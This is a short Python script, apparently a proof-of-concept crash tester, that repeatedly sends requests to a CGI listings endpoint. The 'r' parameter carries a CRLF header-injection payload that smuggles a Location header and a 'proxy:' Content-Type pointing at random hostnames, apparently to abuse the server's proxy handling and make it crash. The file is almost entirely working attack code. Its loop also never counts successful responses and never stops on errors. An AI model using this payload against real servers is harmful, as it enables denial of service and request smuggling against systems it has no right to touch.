#!/usr/bin/env python3

from requests import get, RequestException
from time import sleep
import random
import string

def test_crash(srv):
    index = 0
    while index < 100:
        try:
            # Need to add [0], otherwise we have a TypeError
            hostname = ''.join(random.choices(string.ascii_lowercase + string.digits + string.punctuation)[0] for _ in range(10))
            url = f"{srv}/cgi-bin/listings.cgi?r=http://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://{hostname}%0d%0a%0d%0a"
            res = get(url, timeout=5)
            if res.status_code == 200:
                continue 
            # print(res.status_code)
            index = index + 1
            sleep(random.uniform(0.5, 1.5))
        except RequestException as e:
            print(e)
            print("Crashed")

if __name__ == "__main__":
    test_crash("http://localhost:8080")
